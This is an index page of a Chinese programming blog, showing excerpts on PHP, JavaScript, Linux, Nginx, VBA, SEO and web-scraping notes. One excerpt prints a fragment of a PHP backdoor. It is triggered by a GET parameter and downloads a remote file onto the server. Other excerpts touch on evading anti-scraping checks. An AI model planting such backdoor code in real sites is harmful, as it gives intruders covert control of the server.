爬虫实战笔记:没有什么网站是不能爬的! 通过Chrome的开发者工具Network,筛选ws,找到websocket的连接,进行第一步 分析。 待续............ 这个都懂,咱就不说了,有些反爬验证实在是反人类哈。 这个好用确实好用:真实的浏览器环境、真实的操作........ 就是效率确实不敢恭维。 因为一切都在真实的环境和网站上进行,很多常规的爬虫操作都不用考虑,只要考虑以下几点: 如何减少内存消耗,提升效率; 如何通过 爬虫笔记 友人a丶 2021-10-12 1199 热度 0评论
Windows操作系统安装经验总结 硬盘前面固定的存储空间存放引导程序。 开机 -> 启动引导程序-> 引导程序找到活动分区-> 启动引导管理器-> 读取BCD-> 显示引导项-> 开机 bcdedit /enum 固定的EFI分区存放引导程序、以及BCD。 开机 -> 找到EFI分区 -> 启动引导程序 -> 读取EFI分区的BCD -> 显示引导项 -> 开机。 操作系统 友人a丶 2021-10-12 1200 热度 0评论
PHP批量识别Nginx网站日志内的百度真假爬虫记录 通过分析网站日志可以统计出百度的真实抓取次数、分析抓取情况。 网站一般都有一定的反爬虫机制,但是为了正常收录会通过UA排除百度的爬虫,也就导致了很多做采集、爬虫的人冒充百度爬虫UA用以越过反爬虫机制。 逐条分析每一条日志,筛选出百度爬虫的日志,再通过exec函数执行nslookup命令反向解析IP获取解析的域名,域名中包括baiduspider关键词的就是真的百度爬虫。 下载PHP脚本(百度网盘) PHP笔记 友人a丶 2021-10-08 1222 热度 0评论
css学习笔记,持续记录。 1. 通配符选择器: *{...}; 选择所有元素; 2. HTML标签选择器:p{...} 、#p{...}、.p{...}; 选择指定的所有标签,指定id,指定类的所有标签; 3. 类选择器选择有特定 class 属性的 HTML 元素,如需选择拥有特定 class 的元素,请写一个句点(.)字符,后面跟类名。选择所有具有 class="center" 的 <p> 元素:p.c CSS笔记 友人a丶 2021-10-05 1351 热度 0评论
JS学习笔记,持续记录 回调函数内的this指向了dom对象本身,注意JQ的内存问题,删除dom时自定义的事件会继续存在。 $(".select li").click(function (event){ $(".select li").removeClass("current"); $(event.target).addClass("current"); }) $(".btn").click(function(e){ / JS笔记 友人a丶 2021-09-29 1193 热度 0评论
linux常用命令、bash语法学习笔记,持续记录 linux命令存储以下位置: /bin(指向/usr/bin)目录,包含基本的用户命令,默认全体用户都可使用,例如curl,ls命令 /sbin(指向/usr/sbin),/usr/local/sbin,存放需要root权限的命令以及工具,默认root用户使用,例如ip,halt命令 /usr/local/bin 给用户放置自己的可执行程序的地方,不会被系统升级覆盖 /usr/local/sbin Linux笔记 友人a丶 2021-09-26 1228 热度 0评论
记录一下自己用过的各种语言的软件包。 Querylist爬虫框架:https://www.querylist.cc/docs/guide/v4/overview 获取各大音乐平台音乐的外链:https://github.com/metowolf/Meting 简单的PHP验证码库:https://github.com/lifei6671/php-captcha PHP Requests库:https://requests.ryanmc PHP笔记 友人a丶 2021-09-26 2236 热度 0评论
Swoole 学习:协程、线程、IO多路复用、PHP多进程。 回顾自己学的操作系统原理,线程分为系统级线程和用户级线程(线程是调度单位、进程是资源分配单位) 系统级:调度由操作系统控制,线程之间的切换是系统层面; 用户级:程序内的类似老大一样的程序控制着所有的线程,切换是在程序内完成,相比系统级的线程切换更快,基本不消耗资源; 不同在哪呢?系统级线程的分配的时间片(由操作系统分配的运行时间)是1比1的,创建10个就是10个量级。用户级线程则是共享着所属进程的 Swoole 友人a丶 2021-09-26 1236 热度 0评论
Google Chrome Headless (网页保存为PDF、网页截图) yum install https://dl.google.com/linux/direct/google-chrome-stable_current_x86_64.rpm google-chrome --headless --disable-gpu --no-sandbox --print-to-pdf=gen.pdf http://www.google.com google-chrome -- 爬虫笔记 友人a丶 2021-09-26 1312 热度 0评论
PHP批量压缩整站图片的小工具 在保证图片质量的前提下,批量压缩整个网站目录下所有图片的大小。 说明:使用前请先到https://tinypng.com/developers,邮箱注册获取Apikey,每月免费压缩500次(邮箱一大堆换着来就行); 首先点这里(百度网盘)下载PHP脚本,提取码8888,脚本默认是扫描所在目录和所在目录的子目录下的所有图片文件进行压缩。编辑compress.php,找到下面两行代码。 /*设置ke PHP笔记 友人a丶 2021-09-25 1363 热度 2评论
PHP编程遇到过的细节问题(总结) 习惯本地开发调试了,忘记了127.0.0.1只能是本地,监听所有IP要监听 0.0.0.0。 use语句只在它所声明的物理文件内有效,use定义别名之后,无法使用之前的名字。 use,给命名空间定义一个别名,用于简化复杂的命名空间调用。use abc as d,调用d下面的类、函数、常量等成员时 dson(); use,从命名空间引入类,引入后可直接使用,不需要前缀(引入时可以定义别名)。use PHP笔记 友人a丶 2021-09-24 1198 热度 0评论
Layui学习笔记,一起加油! Layui(谐音:类 UI) 是一套开源的 Web UI 解决方案,采用自身经典的模块化规范,并遵循原生 HTML/CSS/JS 的开发方式,极易上手,拿来即用。 全局对象 layui,一切从它开始。 建立模块入口,并通过 layui.use() 方式来加载该入口文件,加载指定目录下的index.js文件内的模块。 <script> layui.config({ base: '/res JS笔记 友人a丶 2021-09-20 1021 热度 0评论
JS模块化编程以及AMD、CMD规范、Webpack 先想一想,为什么模块很重要? 随着网站功能逐渐丰富,网页中的js也变得越来越复杂和臃肿,原有通过script标签来导入一个个的js文件这种方式已经不能满足现在互联网开发模式,我们需要团队协作、模块复用、单元测试等等一系列复杂的需求。 因为有了模块,我们就可以更方便地使用别人的代码,想要什么功能,就加载什么模块。 但是,这样做有一个前提,那就是大家必须以同样的方式编写模块,否则你有你的写法,我有我的 JS笔记 友人a丶 2021-09-20 1038 热度 0评论
中秋节回家,待到夜深人静好好睡一觉。 假期第一天,坐车回家,下车腿发软、走路飘,头疼一天,晕车这毛病怕是救不了了。 在外面待久了,反而更喜欢一个人在外面的生活。陌生的城市,陌生的人,谁也不用把谁放在心里挂着,也不用担心别人突然闯入自己的生活,不用想着别人怎么看、别人过的好不好,做自己便好。 生活本就有压力,我们的世界没那么大,装不下这么多需要挂念的人。 家是心里的牵挂,无论走到哪,生活有多么不如意,都让我们有个归处。 小外甥女生日,喝 记录日常 友人a丶 2021-09-20 1079 热度 0评论
记录一些以前没见过的JS语法 《ES6标准入门 第3版 .pdf》看了一遍,时间长了没怎么用,也没记住多少,嗯,那只好在实践中学习。 1. js中函数的两种命名方式,即表达式和声明式。 :函数的声明式写法为:function foo(){/*...*/},这种写法会导致函数提升,所有function关键字都会被解释器优先编译,不管是声明在什么位置,都可以调用它,但是它本身不会被执行,定义只是让解释器知道其存在,只有在被调用的时 JS笔记 友人a丶 2021-09-18 1023 热度 0评论
JS浏览器环境下各种实用API记录 常见的不做记录,在这记录自己以前没见过的。 Clipboard API 是下一代的剪贴板操作方法,比传统的document.execCommand()方法更强大、更合理。 它的所有操作都是异步的,返回 Promise 对象,不会造成页面卡顿。而且,它可以将任意内容(比如图片)放入剪贴板。 const clipboardObj = navigator.clipboard; /*返回 Clipboar JS笔记 友人a丶 2021-09-18 1081 热度 0评论
Ajax文件上传时:Formdata、File、Blob的关系 “Formdata”接口提供了一种表示表单数据的键值对 key/value 的构造方式,并且可以轻松的将数据通过XMLHttpRequest.send() 方法发送出去。 实现了 FormData 接口的对象可以直接在for...of(遍历属性值,for...in 则是遍历属性名)结构中使用,而不需要调用entries()返回可迭代对象(iterator) : for (var p of myFo JS笔记 友人a丶 2021-09-17 1106 热度 0评论
Chrome浏览器禁用JS、Devtools工具使用的方法记录 1. 为什么要禁用? 有些网站实在是不友好,禁止F12,禁止右键。。。等等很多情况,我们只能禁用JS了,任它JS再厉害,也只能乖乖趴下。 设置-> 高级->隐私设置和安全性->网站设置->Javascript,添加禁用网址即可。 本来想自己写的,发现了一篇很好的文章,那就这样吧 大门:https://github.com/CompileYouth/front-end-st 前端笔记 友人a丶 2021-09-16 1039 热度 0评论
腾讯云云函数开发经验总结(好气) 今天尝试了腾讯云的云函数开发,过程是让人抓狂的,结果是美好的,踩了无数的坑。 首先说明一下,我用的PHP,主要是写一个通用型的腾讯云短信发送接口和通用性的钉钉Webhook推送接口。 什么是通用型:菜鸡本人(我)说的是传递token和内容之类的就直接能使用,无需关心中间的实现的特点。 也是踩的最深的,云函数上面的PHP标明的是PHP7,PHP7版本可多了。我常用PHP7.4, 麻溜的写好代码,本地 问题记录 友人a丶 2021-09-14 1065 热度 0评论
POST 提交数据的时候参数有哪些类型? 1. HTTP 协议是以 ASCII 码 传输,建立在 TCP/IP 协议之上的应用层规范。规范把 HTTP 请求分为三个部分:状态行、请求头、消息主体。 2. 协议规定 POST 提交的数据必须放在消息主体(entity-body)中,但协议并没有规定数据必须 使用什么编码方式 。实际上,开发者完全可以自己决定消息主体的格式,只要最后发送的 HTTP 请求满足上面的格式就可以。 3. 数据发送出 PHP笔记 友人a丶 2021-09-14 1168 热度 0评论
Vba实现彻底禁止表格内容复制,表格到期自动删除 直接选择单元格进行复制。 复制表格到新的或者空白的工作簿 另存为其他格式表格 将所有表格的Visible属性设置为完全不可见,编写表格打开事件代码,打开时自动显示表格。不运行Vba时只显示空白表格。 Vba工程资源设置密码。 退出表格时将所有数据表改为完全不可见。 打开时调用工作簿结构保护,退出时解锁隐藏所有表。 编写表格选择事件,让只有指定范围的单元格才能被选中。 编写定时任务,以1秒一下 VBA笔记 友人a丶 2021-09-12 1869 热度 4评论
Nginx使用经验总结,好记性不比烂笔头(键盘) 配置文件中以#开始的行,或者是前面有若干空格或者 TAB,然后再跟#的行,都被认为是注释 在 nginx.conf 中,包含若干配置项。每个配置项由配置指令和指令参数 2 个部分构成。指令参数也就是配置指令对应的配置值。 配置指令是一个字符串,可以用单引号或者双引号括起来,也可以不括。但是如果配置指令包含空格,一定要引起来。 指令的参数使用一个或者多个空格或者 TAB 字符与指令分开。指令的参 Nginx 友人a丶 2021-09-09 1311 热度 0评论
SEO优化经验总结,我怕忘记的一些东西 1. TDK很重要,每个页面只能有一个H1标签,选对了关键词SEO就已经成功了一半。 2. 百度关键词搜索虽然是分词的(也就是搜索一个次词的时候匹配结果不一定是连词,也可能是句子中的词组成的),但是连词比分词的友好性更强。 3. 文章里的关键词最好都带上内链。 4. 不带WWW的主域名和WWW的二级域名,作为同一个网站的时候可以在两个页面的标题上稍微处理一下(就是可以弄成不一样的),根据以往的经 SEO笔记 友人a丶 2021-09-09 1275 热度 3评论
VBA编写笔记:常用的对象和方法 如果启用屏幕更新,则该属性值为 True。Boolean 类型,可读写。 关闭屏幕更新可加快宏的执行速度。这样将看不到宏的执行过程,但宏的执行速度加快了。 当宏结束运行后,请记住将 ScreenUpdating 属性设置回 True。 返回一个 FileDialog 对象,该对象表示文件对话框的实例 返回一个 String,提供有关变量的信息。 TypeName(varname),必要的 varn VBA笔记 友人a丶 2021-08-12 1231 热度 0评论
当鼠标按下时拖动元素,简单的JS实现 监听需要移动元素的键盘按下、松开事件和文档对象的鼠标移动事件, 通过一个布尔值作为是否移动的标志,按下时为TRUE,代表跟随移动,鼠标松开为FALSE,代表不跟随移动,鼠标移动时改变元素偏移量。 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name=" JS笔记 友人a丶 2021-07-28 1070 热度 0评论
编程日记:PHP实用函数记录(二) 匿名函数(Anonymous functions),也叫闭包函数(closures),允许 临时创建一个没有指定名称的函数。最经常用作回调函数 callable参数的值。 闭包的概念等同于JS里的闭包。可在函数内进行定义赋值 匿名函数目前是通过 Closure 类来实现的。闭包函数也可以作为变量的值来使用。PHP 会自动把此种表达式转换成内置类 Closure 的对象实例。把一个 closure PHP笔记 友人a丶 2021-07-27 1187 热度 0评论
PHP魔术方法一览以及使用方法汇总 魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。魔术方法很多还是成对出现的,以下列出目前PHP中所有的模式方法。 __constuct构建对象的时被调用; __destruct明确销毁对象或脚本结束时被调用; __set当给不可访问或不存在属性赋 PHP笔记 友人a丶 2021-07-24 1102 热度 0评论
一段简单的PHP后门代码,什么都能干 这是最简单的、也是最容易发现的一种实现了,PHP后门种类繁多,真是防不胜防。 if($_GET=="ok"){ echo 'OK'; function downFile($url,$path){ $arr=parse_url($url); $fileName=basename($arr); $file=file_get_contents($url); } downFil PHP笔记 友人a丶 2021-07-22 1107 热度 0评论
编程日记:PHP实用函数记录 sleep(sec) 函数延迟执行当前脚本若干秒。 usleep(micro) — 以指定的微秒数延迟执行。 time_nanosleep(sec,na) — 延缓执行若干秒和纳秒。 time_sleep_until(timestamp) — 使脚本睡眠到指定的时间为止。 set_time_limit(int $seconds) — 设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个 PHP笔记 友人a丶 2021-07-20 1142 热度 0评论
实战记录—PHP使用curl出错时输出错误信息 踩过的坑,实在不想再踩了,记录记录。 curl_exec($ch);//执行curl if (curl_errno($ch)) { echo 'Curl error: ' . curl_error($ch);//出错输出错误 } curl_close($ch);//关闭curl 同理,像正则,Json,数据库这些出错时基本都会有提供有帮助的错误信息 CURL状态码列表 状态码 状态原因 解释 0 PHP笔记 友人a丶 2021-07-18 1069 热度 0评论